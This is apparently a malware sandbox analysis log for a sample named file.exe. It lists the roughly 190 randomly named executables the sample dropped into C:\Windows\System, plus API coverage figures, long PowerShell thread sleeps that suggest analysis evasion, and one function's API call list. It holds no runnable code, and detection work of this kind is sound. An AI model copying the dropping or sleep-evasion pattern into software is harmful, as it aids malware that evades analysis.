Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\nkFLDPI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ukkpYme.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\SUucMiy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\aFpkhGM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\yolnOnG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DNhkeWm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\AOSuUmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\svRRwoZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\nKUJunm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mWAGJFM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\cLSDHvv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HuKkgJY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mBbgLGb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uHZGZjz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sOpjlAo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\jzfTIlb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fWWVlTg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PZXDYlu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DCqXTox.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PbUiiSM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DTREvJC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VsobEcA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HeXCeXe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\BtXtEfY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\CVYvaQs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\KeLPRxW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sOGcIfs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\tWOQBIk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\SNcreuq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\tRGqWXW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mshbGSl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ccbrmxM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sJZigTD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\iIwdGAS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\RlLCkUy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\caYiRYR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\otCfESI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WvowvSL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\MLxwqET.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\BnLcQMe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mdMaqgD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rTpsbWr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\cBoEBlV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NqPZXyD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\YUQTINM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\dbgHMyC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fEOJwwW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\cyvijMt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ykZgpGK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ppfNNTX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PABSWXd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\MCvhdFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fYMwhpS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\YIjJOqk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\JqFVNbS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ASKjfZy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wNVvJxX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PUqZmPS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\oCLXTVT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\dPvMBBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NzANgdB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\hhEeZzN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\CoTJSDT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wnWUbPS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\vREuzRr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VjXLpYb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ZFvVqBc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\eLYbCEG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\lVudyTV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\MgoHIfZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sFwDWFc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WdIXuil.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\jqUGnrw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\usscfzm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rXBWFEL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ZDeifCM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mEVTdIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DBfMBcY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\XqXHiyf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ajEytdP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PRQFErV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\blOLvcj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\iYYYydA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\XbARtow.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\vKoIcLB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\JGfFPYZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mZnsuql.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DrKJjXc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\xAngvPh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\JRnaUrS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wPprRzW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\xyokMuX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ckHJCFb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\IBWzTMA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\iSmvfWm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\kPkYoOt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FlmGZHf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pnGqAlS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VExclqz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HHsWpNX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LFQLRaY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mtnXczE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ghXRScL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HjdahEF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pMMnfcQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uwKMlqy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\aFbtfKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\hzIYZSD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\QqSzknx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LTWTGcY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\gQbnwXn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LLELsGo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\eIthybV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\tXVZMjj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LCScugy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\SYLAfii.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wWwDsEl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\eaXsKmO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uBSPQKP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\brplcms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\UQPgIol.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NrRaZIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DTVvNoy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\zJwJxgA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\RKUSbZV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\lBrohsB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\hyzwXgh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\jkErNHB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rwUXwnj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\skgGGJN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\nJZyUBH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\gAPrxpM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\zYyqoWF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\AXEGSHs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ucDGEkw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\GaSDvNs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\iJpJhmt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PdxLXDE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LYzOvkf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uNQcZEb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\JdmbeCb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\hMvDOJd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pGmaKvE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ltlcnHD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\zzbooXY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\EENzfBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\tzOEnrH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\QrBMIBp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NDapyRM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FaabrKu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\CGpcHNw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\RtRmRJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\SOFlTuM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pBTelAj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\GoSpvOG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\SxjZpBy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\bsgTRXG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LPMtFlZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\tJmWuwF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\jmSIZKC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pPLiGBV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\OgBLDNx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\dmPtXnK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\yuTigyc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\dMXkTWG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\cVpmxhg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\QZBRXHU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ssUJwoR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mByREeI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\EzVUaNc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\lQcYvMS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ndpwHPZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rtBLYbw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VPuwqFY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ihDRfqA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sctmwAr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\EZbURBQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uJEYoyF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\geBTNDq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rKZvlov.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\XJEUdeq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\TVNHEGY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\KVTiBjz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PjowoJp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sPniyBl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FoekgWP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sDLqeeh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wsmNUVo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\bFsdWPU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\lrIaMFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WvkREuJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\aBqatWR.exe	Jump to dropped file

Source: C:\Windows\System\xIpouRJ.exe	API coverage: 0.7 %
Source: C:\Windows\System\ERbKWDm.exe	API coverage: 2.1 %
Source: C:\Windows\System\wHnuprt.exe	API coverage: 2.1 %
Source: C:\Windows\System\uxMRJKa.exe	API coverage: 2.1 %
Source: C:\Windows\System\bJVoOik.exe	API coverage: 1.4 %
Source: C:\Windows\System\wkazDeV.exe	API coverage: 2.1 %
Source: C:\Windows\System\VWrcuzM.exe	API coverage: 1.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7144	Thread sleep count: 6117 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7144	Thread sleep count: 3630 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4240	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System\xIpouRJ.exe TID: 6324	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\ERbKWDm.exe TID: 6752	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\wHnuprt.exe TID: 2024	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\uxMRJKa.exe TID: 5260	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\bJVoOik.exe TID: 6368	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\wkazDeV.exe TID: 6340	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\VWrcuzM.exe TID: 6012	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\wJNkgSa.exe TID: 7024	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\imwRXsl.exe TID: 6400	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\bzSbRdi.exe TID: 820	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\Csmwgyb.exe TID: 6732	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\defQfgC.exe TID: 6420	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\XZxtJFw.exe TID: 1412	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\MwFvbxc.exe TID: 6364	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\hAOVVjq.exe TID: 6344	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\oxCQuSo.exe TID: 524	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\vyHGCnK.exe TID: 432	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\mbSqRHL.exe TID: 5096	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\VFkciqc.exe TID: 6168	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\sdTevgk.exe TID: 6768	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\eVVPPqR.exe TID: 6444	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\VHwkuIa.exe TID: 1452	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\WLWcTVM.exe TID: 336	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\WCbcoxD.exe TID: 5984	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\QWtCxan.exe TID: 576	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\fpHmIIc.exe TID: 4016	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\FGSooXz.exe TID: 7044	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\mKdsHiQ.exe TID: 5064	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\nWSykjl.exe TID: 7192	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\LKurWpq.exe TID: 7208	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\iHSYLud.exe TID: 7224	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\tyQdqmC.exe TID: 7240	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\sabRErB.exe TID: 7260	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\ZTSJHKb.exe TID: 7276	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\xNhRSWh.exe TID: 7292	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\jtnQpnb.exe TID: 7308	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\hEUEsIC.exe TID: 7324	Thread sleep time: -41000s >= -30000s
Source: C:\Windows\System\UqXZtcb.exe TID: 7340	Thread sleep time: -41000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System\xIpouRJ.exe

Code function: 4_2_00007FF66685B760 CreateEventA,SetErrorMode,RtlInitializeCriticalSection,GetSystemInfo,RtlInitializeCriticalSection,RtlInitializeCriticalSection,SetConsoleCtrlHandler,CreateSemaphoreA,GetLastError,CreateFileW,QueueUserWorkItem,RtlInitializeCriticalSection,QueryPerformanceFrequency,SetEvent,CloseHandle,WaitForSingleObject,GetLastError,

4_2_00007FF66685B760

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System\xIpouRJ.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\ERbKWDm.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\wHnuprt.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\uxMRJKa.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\bJVoOik.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\wkazDeV.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\VWrcuzM.exe	Thread delayed: delay time: 41000
